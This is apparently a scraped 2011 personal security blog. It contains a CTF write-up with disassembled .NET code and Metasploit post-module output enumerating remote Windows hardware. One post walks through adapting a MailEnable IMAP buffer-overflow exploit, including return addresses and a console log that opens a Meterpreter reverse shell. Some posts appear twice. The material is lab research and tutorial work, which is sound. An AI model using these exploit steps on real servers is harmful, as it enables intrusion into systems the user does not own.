.custom instance void class [mscorlib]System.Runtime.CompilerServices.CompilationRelaxationsAttribute::'.ctor'(int32) = (01 00 08 00 00 00 00 00 ) // ........
.custom instance void [mscorlib]System.Runtime.CompilerServices.RuntimeCompatibilityAttribute::.ctor() = (
01 00 01 00 54 02 16 57 72 61 70 4E 6F 6E 45 78 // ....T..WrapNonEx
63 65 70 74 69 6F 6E 54 68 72 6F 77 73 01 ) // ceptionThrows.
.hash algorithm 0x00008004
.ver 1:0:0:0
}
.module fu.exe // GUID = {B3456451-E34C-4B2C-A452-4A83679B44EF}
.namespace fu
{
.class private auto ansi beforefieldinit Program
extends [mscorlib]System.Object
{
// method line 1
.method private static hidebysig
default void Main (string[] args) cil managed
{
// Method begins at RVA 0x2050
.entrypoint
// Code size 98 (0x62)
.maxstack 2
.locals init (
string V_0,
string V_1,
string V_2,
bool V_3)
IL_0000: ldc.i4.1
IL_0001: br.s IL_0006
IL_0003: ldc.i4.0
IL_0004: br.s IL_0006
IL_0006: brfalse.s IL_0008
IL_0008: nop
IL_0009: ldstr "290e1babf4daa83eb606f0b4e02c73be"
IL_000e: stloc.0
IL_000f: ldstr "/cqhcfUx1LO/mUsiT5fV2WijYMEDdvsi/gh214qRVPfauxChLplgBDMHScj8v/PDYt1F03x1r4FAdNe2uP9iHeAsPqcwEWzw3WTk7UN0jQ0="
IL_0014: stloc.1
IL_0015: ldarg.0
IL_0016: ldlen
IL_0017: conv.i4
IL_0018: ldc.i4.1
IL_0019: ceq
IL_001b: stloc.3
IL_001c: ldloc.3
IL_001d: brtrue.s IL_002d
IL_001f: nop
IL_0020: ldstr "No flag for you."
IL_0025: call void class [mscorlib]System.Console::WriteLine(string)
IL_002a: nop
IL_002b: br.s IL_0061
IL_002d: ldarg.0
IL_002e: ldc.i4.0
IL_002f: ldelem.ref
IL_0030: call string class fu.Program::GetMd5Hash(string)
IL_0035: stloc.2
IL_0036: ldloc.2
IL_0037: ldloc.0
IL_0038: call bool string::Equals(string, string)
IL_003d: stloc.3
IL_003e: ldloc.3
IL_003f: brtrue.s IL_004f
IL_0041: nop
IL_0042: ldstr "Try Harder N00b."
IL_0047: call void class [mscorlib]System.Console::WriteLine(string)
IL_004c: nop
IL_004d: br.s IL_0061
IL_004f: ldloc.1
IL_0050: call void class [mscorlib]System.Console::WriteLine(string)
IL_0055: nop
IL_0056: ldstr "Fix me :P"
IL_005b: call void class [mscorlib]System.Console::WriteLine(string)
IL_0060: nop
IL_0061: ret
} // end of method Program::Main
// method line 2
.method private static hidebysig
default string GetMd5Hash (string input) cil managed
{
// Method begins at RVA 0x20c0
// Code size 90 (0x5a)
.maxstack 3
.locals init (
class [mscorlib]System.Security.Cryptography.MD5 V_0,
unsigned int8[] V_1,
class [mscorlib]System.Text.StringBuilder V_2,
int32 V_3,
string V_4,
bool V_5)
IL_0000: nop
IL_0001: call class [mscorlib]System.Security.Cryptography.MD5 class [mscorlib]System.Security.Cryptography.MD5::Create()
IL_0006: stloc.0
IL_0007: ldloc.0
IL_0008: call class [mscorlib]System.Text.Encoding class [mscorlib]System.Text.Encoding::get_UTF8()
IL_000d: ldarg.0
IL_000e: callvirt instance unsigned int8[] class [mscorlib]System.Text.Encoding::GetBytes(string)
IL_0013: callvirt instance unsigned int8[] class [mscorlib]System.Security.Cryptography.HashAlgorithm::ComputeHash(unsigned int8[])
IL_0018: stloc.1
IL_0019: newobj instance void class [mscorlib]System.Text.StringBuilder::'.ctor'()
IL_001e: stloc.2
IL_001f: ldc.i4.0
IL_0020: stloc.3
IL_0021: br.s IL_0041
IL_0023: nop
IL_0024: ldloc.2
IL_0025: ldloc.1
IL_0026: ldloc.3
IL_0027: ldelema [mscorlib]System.Byte
IL_002c: ldstr "x2"
IL_0031: call instance string unsigned int8::ToString(string)
IL_0036: callvirt instance class [mscorlib]System.Text.StringBuilder class [mscorlib]System.Text.StringBuilder::Append(string)
IL_003b: pop
IL_003c: nop
IL_003d: ldloc.3
IL_003e: ldc.i4.1
IL_003f: add
IL_0040: stloc.3
IL_0041: ldloc.3
IL_0042: ldloc.1
IL_0043: ldlen
IL_0044: conv.i4
IL_0045: clt
IL_0047: stloc.s 5
IL_0049: ldloc.s 5
IL_004b: brtrue.s IL_0023
IL_004d: ldloc.2
IL_004e: callvirt instance string object::ToString()
IL_0053: stloc.s 4
IL_0055: br.s IL_0057
IL_0057: ldloc.s 4
IL_0059: ret
} // end of method Program::GetMd5Hash
// method line 3
.method private static hidebysig
default string EncryptString (string plainText, string Key) cil managed
{
// Method begins at RVA 0x2128
} // end of method Program::EncryptString
// method line 4
.method private static hidebysig
default string DecryptString (string cipherText, string Key) cil managed
{
// Method begins at RVA 0x228c
} // end of method Program::DecryptString
// method line 5
.method public hidebysig specialname rtspecialname
instance default void '.ctor' () cil managed
{
// Method begins at RVA 0x24c4
// Code size 7 (0x7)
.maxstack 8
IL_0000: ldarg.0
IL_0001: call instance void object::'.ctor'()
IL_0006: ret
} // end of method Program::.ctor
} // end of class fu.Program
}
I immediately notice that it stores an MD5 hash in a string, and another string that appears to in base64. Following the logic, I realised that it took the argument, md5'd it and compared the result to the stored md5 sum. If it matched, it would print the base64 string and tell you to fix it. Technically, you don't even need to know what the argument it is expecting is, but I wanted to be thorough. The md5sum is an md5sum of the string 'kc57' (one of the CTF admins @_kc57).
root@gits-and-shiggles:/home/upgraydd/Pictures# mono fu.exe kc57
WARNING: The runtime version supported by this application is unavailable.
Using default runtime: v1.1.4322
/cqhcfUx1LO/mUsiT5fV2WijYMEDdvsi/gh214qRVPfauxChLplgBDMHScj8v/PDYt1F03x1r4FAdNe2uP9iHeAsPqcwEWzw3WTk7UN0jQ0=
Fix me :P
root@gits-and-shiggles:/home/upgraydd/Pictures#
This string stumped me. I spent too much time on it and probably went every way I shouldn't have in order to figure it out. I never did.
I look forward to competing next year. TheLightCosine and I will probably team up for real and pwn some pants of.
Tuesday, September 20, 2011
My biggest hurdle in school
I suck at being in school. I feel incredibly unproductive as my classes are very slow. Once the teacher starts going into things s/he has already gone over (many times in some cases), I become very frustrated at wasting my time listening to the same information, over and over again. This happens in AP classes as well, though to a smaller extent. I begin thinking about all the things I could be working on instead, I always have projects I am working on.
The problem is that I know that I could be working on far more intellectually satisfying things. I am better as a part-time student, when my full time job/hobby suffices. I spend a large chunk of my time doing security/programming research, which is the most fun and intellectually satisfying hobby I have found yet. Hopefully I will be getting paid for it soon, and that is even better.
I also do not do well "being taught to". Give me the book and let me figure it out for myself, it will be much faster than slow lectures. A 3 hour class in Art Appreciation is hell. I have a large disdain for "authority", and this can become very burdensome as well.
The problem is that I know that I could be working on far more intellectually satisfying things. I am better as a part-time student, when my full time job/hobby suffices. I spend a large chunk of my time doing security/programming research, which is the most fun and intellectually satisfying hobby I have found yet. Hopefully I will be getting paid for it soon, and that is even better.
I also do not do well "being taught to". Give me the book and let me figure it out for myself, it will be much faster than slow lectures. A 3 hour class in Art Appreciation is hell. I have a large disdain for "authority", and this can become very burdensome as well.
Sunday, August 28, 2011
Enumerating microsoft keys on remote hosts using metasploit
I wrote a new module for metasploit that can (theoretically) enumerate any Microsoft product key stored as a DigitalProductId (most microsoft products).
I only have tested against windows 7 ultimate as I don't have a SQL server, exchange server, or MS office stuffs lying around to test with. Any testing with these apps would be a appreciated and feedback is even more appreciated.
The metasploit ticket is here.
I only have tested against windows 7 ultimate as I don't have a SQL server, exchange server, or MS office stuffs lying around to test with. Any testing with these apps would be a appreciated and feedback is even more appreciated.
The metasploit ticket is here.
Tuesday, August 23, 2011
Inverting ebooks for better reading
I like ebooks. I don't like staring at lightbulbs. Hopefully, this one-liner will help others with the same problems I have with black-on-white text ebooks.
pdf2ps foo.pdf - | convert - -negate bar.pdf
Enumerating hardware on remote systems running Windows with Metasploit
At Arlington Computer Care where I work, I needed (really, just wanted) a way to enumerate the hardware drivers on an arbitrary host on the shops network. The reason is two-fold: We can pinpoint old drivers to the customer and we know what drivers to look for specifically when reloading a machine. Metasploit already has a rich API for gathering information from remote hosts, and since I wanted to perform this check from a Linux box, it was the most obvious choice for me. Plus, I have a lot of experience with it already.
Metasploit, however, did not have the functionality I wanted. To gather the hardware information from a remote host was going to entail writing a new post module, which I hadn't done before. I have written exploits in the past for, but no post modules. I found it was very fun and rewarding. It has been accepted into trunk for a week or two now, and here are the details on it.
Some example output:
I am also working on a post module which enumerates popular software keys (office and windows keys atm).
Metasploit, however, did not have the functionality I wanted. To gather the hardware information from a remote host was going to entail writing a new post module, which I hadn't done before. I have written exploits in the past for, but no post modules. I found it was very fun and rewarding. It has been accepted into trunk for a week or two now, and here are the details on it.
msf post(enum_devices) > info
Name: Windows Hardware Enumeration
Module: post/windows/gather/enum_devices
Version: 13559
Platform: Windows
Arch:
Rank: Normal
Provided by:
Brandon Perry
Description:
Enumerate PCI hardware information from the registry. Please note
this script will run through registry subkeys such as: 'PCI',
'ACPI', 'ACPI_HAL', 'FDC', 'HID', 'HTREE', 'IDE', 'ISAPNP',
'LEGACY'', LPTENUM', 'PCIIDE', 'SCSI', 'STORAGE', 'SW', and 'USB';
it will take time to finish. It is recommended to run this module as
a background job.
msf post(enum_devices) >
Some example output:
msf exploit(handler) > use post/windows/gather/enum_devices
msf post(enum_devices) > set SESSION 1
SESSION => 1
msf post(enum_devices) > run
[*] Enumerating hardware on WIN-684G41EV82S
^C[-] Post interrupted by the console user
[*] Post module execution completed
msf post(enum_devices) > set VERBOSE true
VERBOSE => true
msf post(enum_devices) > run
[*] Enumerating hardware on WIN-684G41EV82S
[*] Enumerating VEN_1000&DEV_0054&SUBSYS_197615AD&REV_01
[*] Enumerating VEN_1274&DEV_1371&SUBSYS_13711274&REV_02
[*] Enumerating VEN_15AD&DEV_0405&SUBSYS_040515AD&REV_00
...snip for brevity...
[*] Enumerating VID_0E0F&PID_0003&MI_01
Device Information
==================
Device Description Driver Version Class Manufacturer Extra
------------------ -------------- ----- ------------ -----
LSI Adapter, SAS 3000 series, 8-port with 1068 1.28.3.52 SCSIAdapter LSI
VMware VMaudio (VMAUDIO) (WDM) 5.10.0.3506 MEDIA VMware, Inc.
VMware SVGA 3D (Microsoft Corporation - WDDM) 7.14.1.42 Display VMware, Inc.
VMware VMCI Bus Device System VMware, Inc.
Standard Enhanced PCI to USB Host Controller 6.1.7601.17586 USB (Standard USB Host Controller)
PCI standard PCI-to-PCI bridge 6.1.7601.17514 System (Standard system devices)
PCI Express standard Root Port 6.1.7601.17514 System (Standard system devices)
PCI Express standard Root Port System (Standard system devices)
Intel(R) PRO/1000 MT Network Connection 8.4.1.1 Net Intel
Intel 82371AB/EB PCI to ISA bridge (ISA mode) 6.1.7601.17514 System Intel
Intel(R) 82371AB/EB PCI to USB Universal Host Controller 6.1.7601.17586 USB Intel
Intel 82443BX Pentium(R) II Processor to PCI Bridge 6.1.7601.17514 System Intel
Intel 82443BX Pentium(R) II Processor to AGP Controller 6.1.7601.17514 System Intel
Microsoft AC Adapter 6.1.7600.16385 Battery Microsoft
AMD Processor 6.1.7600.16385 Processor Advanced Micro Devices AMD Phenom(tm) 9850 Quad-Core Processor
ACPI Fixed Feature Button 6.1.7601.17514 System (Standard system devices)
EISA programmable interrupt controller 6.1.7601.17514 System (Standard system devices)
System timer 6.1.7601.17514 System (Standard system devices)
Direct memory access controller 6.1.7601.17514 System (Standard system devices)
Standard PS/2 Keyboard 6.1.7601.17514 Keyboard (Standard keyboards)
Printer Port 6.1.7600.16385 Ports (Standard port types) Printer Port (LPT1)
Communications Port 6.1.7600.16385 Ports (Standard port types) Communications Port (COM1)
Communications Port 6.1.7600.16385 Ports (Standard port types) Communications Port (COM2)
Standard floppy disk controller 6.1.7600.16385 fdc (Standard floppy disk controllers)
System speaker 6.1.7601.17514 System (Standard system devices)
PCI bus 6.1.7601.17514 System (Standard system devices)
Generic Bus 6.1.7601.17514 System (Standard system devices)
System CMOS/real time clock 6.1.7601.17514 System (Standard system devices)
Motherboard resources 6.1.7601.17514 System (Standard system devices)
VMware Pointing Device 12.4.0.6 Mouse VMware, Inc.
Microsoft ACPI-Compliant System 6.1.7601.17514 System Microsoft
Floppy disk drive 6.1.7600.16385 FloppyDisk (Standard floppy disk drives)
HID-compliant mouse 6.1.7600.16385 Mouse Microsoft
CD-ROM Drive 6.1.7601.17514 CDROM (Standard CD-ROM drives) HL-DT-ST DVD-RAM GSA-H55N ATA Device
Printer Port Logical Interface 6.1.7601.17514 System (Standard system devices) LPT1
IDE Channel 6.1.7601.17514 hdc (Standard IDE ATA/ATAPI controllers)
Microsoft ISATAP Adapter 6.1.7600.16385 Net Microsoft
Microsoft Teredo Tunneling Adapter 6.1.7600.16385 Net Microsoft
ACPI x86-based PC 6.1.7600.16385 Computer (Standard computers)
File as Volume Driver 6.1.7600.16385 System Microsoft
Composite Bus Enumerator 6.1.7601.17514 System Microsoft
Microsoft Composite Battery 6.1.7600.16385 Battery Microsoft
Beep LegacyDriver
CNG LegacyDriver
LDDM Graphics Subsystem LegacyDriver
FAT12/16/32 File System Driver
Fs_Rec LegacyDriver
KSecDD LegacyDriver
KSecPkg LegacyDriver
Link-Layer Topology Discovery Mapper I/O Driver LegacyDriver
Msfs LegacyDriver
msisadrv LegacyDriver
NDProxy LegacyDriver
NetBIOS Interface LegacyDriver
Npfs LegacyDriver
Ntfs LegacyDriver
Parvdm LegacyDriver
Performance Counters for Windows Driver LegacyDriver
PEAUTH LegacyDriver
Link-Layer Topology Discovery Responder LegacyDriver
Security Driver LegacyDriver
Security Processor Loader Driver LegacyDriver
srvnet LegacyDriver
TCP/IP Registry Compatibility LegacyDriver
udfs LegacyDriver
VgaSave LegacyDriver
vmhgfs LegacyDriver
Memory Control Driver LegacyDriver
VMware Vista Physical Disk Helper LegacyDriver
Storage volumes LegacyDriver
Kernel Mode Driver Frameworks service LegacyDriver
WFP Lightweight Filter LegacyDriver
Windows Socket 2.0 Non-IFS Service Provider Support Environment LegacyDriver
Microsoft System Management BIOS Driver 6.1.7601.17514 System (Standard system devices)
WAN Miniport (IKEv2) 6.1.7601.17514 Net Microsoft
WAN Miniport (L2TP) 6.1.7600.16385 Net Microsoft
WAN Miniport (Network Monitor) 6.1.7600.16385 Net Microsoft
WAN Miniport (IP) 6.1.7600.16385 Net Microsoft
WAN Miniport (IPv6) 6.1.7600.16385 Net Microsoft
WAN Miniport (PPPOE) 6.1.7600.16385 Net Microsoft
WAN Miniport (PPTP) 6.1.7600.16385 Net Microsoft
WAN Miniport (SSTP) 6.1.7600.16385 Net Microsoft
Remote Desktop Device Redirector Bus 6.1.7600.16385 System Microsoft
Terminal Server Keyboard Driver 6.1.7601.17514 System (Standard system devices)
Terminal Server Mouse Driver 6.1.7601.17514 System (Standard system devices)
Plug and Play Software Device Enumerator 6.1.7601.17514 System (Standard system devices)
UMBus Root Bus Enumerator 6.1.7601.17514 System Microsoft
Microsoft Virtual Drive Enumerator Driver 6.1.7601.17514 System (Standard system devices)
Volume Manager 6.1.7601.17514 System (Standard system devices)
Disk drive 6.1.7600.16385 DiskDrive (Standard disk drives) VMware, VMware Virtual S SCSI Disk Device
Generic volume 6.1.7601.17514 Volume Microsoft
Generic volume shadow copy 6.1.7600.16385 VolumeSnapshot Microsoft
Microsoft Streaming Service Proxy 6.1.7600.16385 MEDIA Microsoft
Microsoft Streaming Clock Proxy 6.1.7600.16385 MEDIA Microsoft
Microsoft Streaming Tee/Sink-to-Sink Converter 6.1.7600.16385 MEDIA Microsoft
Microsoft Streaming Quality Manager Proxy 6.1.7600.16385 MEDIA Microsoft
RAS Async Adapter 6.1.7600.16385 Net Microsoft
Microsoft Trusted Audio Drivers 6.1.7600.16385 MEDIA Microsoft
USB Root Hub 6.1.7601.17586 USB (Standard USB Host Controller)
Generic USB Hub 6.1.7601.17586 USB (Generic USB Hub) Port_#0002.Hub_#0001
USB Composite Device 6.1.7601.17586 USB (Standard USB Host Controller) Port_#0001.Hub_#0001
USB Input Device 6.1.7601.17514 HIDClass (Standard system devices) 0002.0000.0000.001.000.000.000.000.000
[*] Results saved in: /root/.msf4/loot/20110823151419_default_192.168.1.146_host.hardware_345918.txt
[*] Post module execution completed
msf post(enum_devices) >
I am also working on a post module which enumerates popular software keys (office and windows keys atm).
Wednesday, July 6, 2011
Breaking MailEnable 2.34: A lesson in security featuring Metasploit, Immunity Debugger, and mona.py
Not that this is any major feat, but I thought it would do as a nice primer to investigating bugs Immunity Debugger and mona.py and exploiting them with Metasploit.
I was researching a vulnerability today, Metasploit has a module called mailenable_login with a target of MailEnable 2.35. Doing some research into the exploit, it is a buffer overflow, and not just 2.35 is vulnerable to this bug. From the CVE:
This is a good thing, because after searching for about an hour, I hadn't found an installer for the 2.35 version. The official historical archive for the MailEnable releases has that release conspicuously missing. However, other reportedly vulnerable releases, such as 2.34 was available. I happily obliged and grabbed 2.34, in hopes I would be able to get it to work without too much effort.
Well, short story short, the target in the module didn't "just work" as I had hoped. But it did crash the server, which was interesting. I decided to look further. I am not very seasoned at this type of debugging, so the guys in #corelan on irc.freenode.net were my first stop for getting pushed in the right direction.
Up until now, I had been using WinDbg, a debugger offered by Microsft with their Driver development kit. corelanc0der offered some better advice, grab a copy of Immunity Debugger and mona.py. After installing Immunity Debugger, I dropped mona.py in the PyCommands folder in the Immunity Debugger folder in Program Files. This enables me to utilize the "swiss army knife" the corelan team developped to speed up exploit development. I don't fully understand it, but already can see it is quite powerful. The first thing I had to do was crash the service, in this case MEIMAPS.exe. I attached Immunity Debugger to the currently running MEIMAPS.exe (it is run as a service automagically at startup). I know how to crash it, just run the 2.35 target against, and bam.
Notice how EIP is the same address as the return address in the original 2.35 target...
So, that obviously doesn't work, we don't like access violations. Maybe mona.py can show us some better places to exploit this application. But in order to do this, I need to make a few changes to the original metasploit module. Open it up in your favorite text editor, I did it in vim, and change your sploit. Comment out the original and add your own.
Check out this rather old article with details on pattern_create(). This gives mona.py some data to work with that is comprehensible, easy to traverse, and gather information about. A really cool feature of mona.py is that it will generate a template for your exploit with offsets and return pointers used to execute arbitrary commands. All you do is fill in the blanks. Let's see what mona.py has to offer:
If mona.py finds somethings it thinks is useful, you will get a small popup with predefined templates in a drop down box. I chose the remote client (tcp) template. Another series of popup dialogs will popup, one meaningful, and another not so meangingful. The former is the remote port to listen on. The latter is the Exploit-db id. Ironically, due to a bug in Immunity debugger, your answer the in remote port box will carry over into the next box, the exploit db id box. You do not want this. Be sure to clear it out if you don't want to include the exploit-db id.
Anyways, enough with silly dialogs. When everything is said and done, inside C:\Program Files\Immunity Inc\Immunity Debugger\ will lie an exploit.rb file. This is your exploit module shell for Metasploit. Be sure to check it over, it may not be optimal, even if it does *work*.
Hmm, looks like it'll work. But what the fudge is CLBCATQ.DLL? We want something a little more standard than this. Luckily, mona.py has some tools specifically for this.
We know we want a jmp/push esp. push was denoted in the generated module. It works, but let's try a jmp first, it is what the first target uses, so it would be a little bit more straightforward and consistent.
Cool! We found 2 pointers in a pretty freaking stable place, MSVCP60.DLL. Let's take a closer look.
Cool, so we have one jmp and one push. Remember our original exploit.rb that mona.py generated for us? The return address that it defines in CLBCATQ.DLL (0x76ffcb51) can be replaced with either of these addresses (0x76095d68 is the push and 0x760a9d6e is the jmp) in MSVCP60.DLL. The two addresses are printed out to the screen right above the red text. The two lines each begin with an address and either of these will do. We need to dig into the metasploit framework now. We need to add the target, which should really work for more than just this 2.34 release. The CVE lists a few in the 2.3x range. I think it should hit all of them, but am willing to eat my words.
Your targets in the mailenable_login.rb module should look similar to this, depending on the return address you chose from MSVCP60.DLL. Let's test it. You need to uncomment out the
Whee! I have submitted the patch to the metasploit guys here, it should be in trunk shortly. If you would like to play with this, you may download the relevant binaries from MailEnable themselves. Just not 2.35! Har har har...
I was researching a vulnerability today, Metasploit has a module called mailenable_login with a target of MailEnable 2.35. Doing some research into the exploit, it is a buffer overflow, and not just 2.35 is vulnerable to this bug. From the CVE:
Stack-based buffer overflow in the IMAP service for MailEnable Professional and Enterprise Edition 2.0 through 2.35, Professional Edition 1.6 through 1.84, and Enterprise Edition 1.1 through 1.41 allows remote attackers to execute arbitrary code via a pre-authentication command followed by a crafted parameter and a long string, as addressed by the ME-10025 hotfix.
This is a good thing, because after searching for about an hour, I hadn't found an installer for the 2.35 version. The official historical archive for the MailEnable releases has that release conspicuously missing. However, other reportedly vulnerable releases, such as 2.34 was available. I happily obliged and grabbed 2.34, in hopes I would be able to get it to work without too much effort.
Well, short story short, the target in the module didn't "just work" as I had hoped. But it did crash the server, which was interesting. I decided to look further. I am not very seasoned at this type of debugging, so the guys in #corelan on irc.freenode.net were my first stop for getting pushed in the right direction.
Up until now, I had been using WinDbg, a debugger offered by Microsft with their Driver development kit. corelanc0der offered some better advice, grab a copy of Immunity Debugger and mona.py. After installing Immunity Debugger, I dropped mona.py in the PyCommands folder in the Immunity Debugger folder in Program Files. This enables me to utilize the "swiss army knife" the corelan team developped to speed up exploit development. I don't fully understand it, but already can see it is quite powerful. The first thing I had to do was crash the service, in this case MEIMAPS.exe. I attached Immunity Debugger to the currently running MEIMAPS.exe (it is run as a service automagically at startup). I know how to crash it, just run the 2.35 target against, and bam.
Notice how EIP is the same address as the return address in the original 2.35 target...
So, that obviously doesn't work, we don't like access violations. Maybe mona.py can show us some better places to exploit this application. But in order to do this, I need to make a few changes to the original metasploit module. Open it up in your favorite text editor, I did it in vim, and change your sploit. Comment out the original and add your own.
Check out this rather old article with details on pattern_create(). This gives mona.py some data to work with that is comprehensible, easy to traverse, and gather information about. A really cool feature of mona.py is that it will generate a template for your exploit with offsets and return pointers used to execute arbitrary commands. All you do is fill in the blanks. Let's see what mona.py has to offer:
If mona.py finds somethings it thinks is useful, you will get a small popup with predefined templates in a drop down box. I chose the remote client (tcp) template. Another series of popup dialogs will popup, one meaningful, and another not so meangingful. The former is the remote port to listen on. The latter is the Exploit-db id. Ironically, due to a bug in Immunity debugger, your answer the in remote port box will carry over into the next box, the exploit db id box. You do not want this. Be sure to clear it out if you don't want to include the exploit-db id.
Anyways, enough with silly dialogs. When everything is said and done, inside C:\Program Files\Immunity Inc\Immunity Debugger\ will lie an exploit.rb file. This is your exploit module shell for Metasploit. Be sure to check it over, it may not be optimal, even if it does *work*.
Hmm, looks like it'll work. But what the fudge is CLBCATQ.DLL? We want something a little more standard than this. Luckily, mona.py has some tools specifically for this.
We know we want a jmp/push esp. push was denoted in the generated module. It works, but let's try a jmp first, it is what the first target uses, so it would be a little bit more straightforward and consistent.
Cool! We found 2 pointers in a pretty freaking stable place, MSVCP60.DLL. Let's take a closer look.
Cool, so we have one jmp and one push. Remember our original exploit.rb that mona.py generated for us? The return address that it defines in CLBCATQ.DLL (0x76ffcb51) can be replaced with either of these addresses (0x76095d68 is the push and 0x760a9d6e is the jmp) in MSVCP60.DLL. The two addresses are printed out to the screen right above the red text. The two lines each begin with an address and either of these will do. We need to dig into the metasploit framework now. We need to add the target, which should really work for more than just this 2.34 release. The CVE lists a few in the 2.3x range. I think it should hit all of them, but am willing to eat my words.
Your targets in the mailenable_login.rb module should look similar to this, depending on the return address you chose from MSVCP60.DLL. Let's test it. You need to uncomment out the
sploit
lines from before and remove your line you inserted with pattern_create(1000)
.
root@bperry-laptop:/home/bperry# msfconsole -L
| | _) |
__ `__ \ _ \ __| _` | __| __ \ | _ \ | __|
| | | __/ | ( |\__ \ | | | ( | | |
_| _| _|\___|\__|\__,_|____/ .__/ _|\___/ _|\__|
_|
=[ metasploit v3.8.0-dev [core:3.8 api:1.0]
+ -- --=[ 710 exploits - 359 auxiliary - 57 post
+ -- --=[ 225 payloads - 27 encoders - 8 nops
=[ svn r13108 updated today (2011.07.06)
msf > use exploit/windows/imap/mailenable_login
msf exploit(mailenable_login) > set RHOST 192.168.1.105
RHOST => 192.168.1.105
msf exploit(mailenable_login) > show targets
Exploit targets:
Id Name
-- ----
0 MailEnable 2.35 Pro
1 MailEnable 2.34 Pro
msf exploit(mailenable_login) > set TARGET 1
TARGET => 1
msf exploit(mailenable_login) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(mailenable_login) > set LHOST 192.168.1.71
LHOST => 192.168.1.71
msf exploit(mailenable_login) > show options
Module options (exploit/windows/imap/mailenable_login):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.1.105 yes The target address
RPORT 143 yes The target port
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process, none
LHOST 192.168.1.71 yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
1 MailEnable 2.34 Pro
msf exploit(mailenable_login) > exploit
[*] Started reverse handler on 192.168.1.71:4444
[*] Trying target MailEnable 2.34 Pro...
[*] Sending stage (752128 bytes) to 192.168.1.105
[*] Meterpreter session 1 opened (192.168.1.71:4444 -> 192.168.1.105:1037) at 2011-07-06 21:27:55 -0500
meterpreter > Success!
[-] Unknown command: Success!.
meterpreter > exit
[*] Shutting down Meterpreter...
[*] Meterpreter session 1 closed. Reason: User exit
msf exploit(mailenable_login) > exit
root@bperry-laptop:/home/bperry#
Whee! I have submitted the patch to the metasploit guys here, it should be in trunk shortly. If you would like to play with this, you may download the relevant binaries from MailEnable themselves. Just not 2.35! Har har har...
Tuesday, June 28, 2011
This is cool.
http://code.google.com/p/disruptor/
Disruptor - Concurrent Programming Framework
They claim a lot, would like to test.
Disruptor - Concurrent Programming Framework
They claim a lot, would like to test.
Saturday, May 21, 2011
New OpenDiagnostics Live CD Release :: 394 MB
Removed wine, stupid idea to put on there.
Added mc, lftp, mdadm, a few others I can't remember off the top of my head.
Updated ClamAV to 0.97 and virus defs are good as of today.
Updated metasploit to latest SVN head
Updated kernel to latest and lucid is fully updated.
Download Here
I have been doing a lot of research into AutoIt scripting lately, as it would help tremendously at the repair shop. I have written up a few scripts to automate a few common chores such as msconfig'ing, fixing up performance options, and am in the process of writing a driver backup and general backup script. I hope to include these with some sort of easy way to use them on the root of the CD. The scripts will be compiled to executables, but the scripts will of course be made available, possibly in a google code repo. If you have any suggestions on what type of scripts you would like, or concerns about this possible change, feel free to express them in the comments
Added mc, lftp, mdadm, a few others I can't remember off the top of my head.
Updated ClamAV to 0.97 and virus defs are good as of today.
Updated metasploit to latest SVN head
Updated kernel to latest and lucid is fully updated.
Download Here
I have been doing a lot of research into AutoIt scripting lately, as it would help tremendously at the repair shop. I have written up a few scripts to automate a few common chores such as msconfig'ing, fixing up performance options, and am in the process of writing a driver backup and general backup script. I hope to include these with some sort of easy way to use them on the root of the CD. The scripts will be compiled to executables, but the scripts will of course be made available, possibly in a google code repo. If you have any suggestions on what type of scripts you would like, or concerns about this possible change, feel free to express them in the comments
Wednesday, April 27, 2011
Fun finding things
I found a neat way to use find today. If you want to do an inverse search (think grep -v, but in find), simply use '!'. For Example:
Find all files that don't end in .zip.
find . '!' -name '*.zip'
Find all files that don't end in .zip.
Tuesday, February 8, 2011
OpenVAS 4 has landed in UNSTABLE in OBS
Add this to your sources.lst:
Then you need to get the key and add it to apt:
Then just
deb http://download.opensuse.org/repositories/security:/OpenVAS:/UNSTABLE:/v4/xUbuntu_10.10/ ./
Then you need to get the key and add it to apt:
wget http://download.opensuse.org/repositories/security:/OpenVAS:/UNSTABLE:/v4/xUbuntu_10.10/Release.key
apt-key add Release.key
rm Release.key
Then just
apt-get update
Tuesday, February 1, 2011
Non-trivial key names
It seems that you run into instances where someone working with the registry doesn't know quite how to use it. Well, let's start with some code first.
Say we have a regex to carve out the data we want:
Chances are this data chunk will have a lot of junk at the end. Most key names as far as I can tell under < 65 characters long, but there are instances where a name legitimately runs longer than that. Here is one example:
The first node key name has a length of 58 bytes. Pretty normal. But the second node key has a name 20590 bytes long. It also has to do with the .NET Framework. (*sigh* Microsoft...)
I can't carve out 20000 byte long chunks for each key node to satisfy the needs of names that shouldn't really be names, that would be crazy. It just so happened that this name was throwing an IndexOutOfrangeException. I decided I could use this to my advantage.
I could pick a sane number for the size of the regex that would get 90% of my key names and simply work around the longer names (in the short term at any rate).
My code ended up looking like this:
I figure for a list of values, you won't be showing more than 100 or so characters until you pick the specific key out of the list and it loads the full details. At that point you can read the entire name and show it to the full user.
Say we have a regex to carve out the data we want:
Regex nk = new Regex(@"nk[\x2c|\x20]\x00.{7}\x01.{117}");
Chances are this data chunk will have a lot of junk at the end. Most key names as far as I can tell under < 65 characters long, but there are instances where a name legitimately runs longer than that. Here is one example:
It's not a root key!
Offset to Parent: 4145008
Number of Subkeys: 0
Offset to Subkey LF Blocks: 1061109567
Number of values: 1
Offset to value list: 4144959
Offset to security key: 7421704
Offset to classname: 1061109567
Offset to ?trash?: 1634757999
Name Length: 58 bytes
Classname Length: 0
Partial Name: C:|WINDOWS|Microsoft.NET|Framework|v3.5|AddInProcess3
Name: C:|WINDOWS|Microsoft.NET|Framework|v3.5|AddInProcess3
It's not a root key!
Offset to Parent: 4144959
Number of Subkeys: 0
Offset to Subkey LF Blocks: 1061109567
Number of values: 1
Offset to value list: 4144992
Offset to security key: 1061109592
Offset to classname: 4156278
Offset to ?trash?: 1231316033
Name Length: 20590 bytes
Classname Length: 28530
Partial Name: cess32,version="3.5.0.0",publicKeyToken="b77a5c561934
The first node key name has a length of 58 bytes. Pretty normal. But the second node key has a name 20590 bytes long. It also has to do with the .NET Framework. (*sigh* Microsoft...)
I can't carve out 20000 byte long chunks for each key node to satisfy the needs of names that shouldn't really be names, that would be crazy. It just so happened that this name was throwing an IndexOutOfrangeException. I decided I could use this to my advantage.
I could pick a sane number for the size of the regex that would get 90% of my key names and simply work around the longer names (in the short term at any rate).
My code ended up looking like this:
else if (i == (int)0x0048) //name length
{
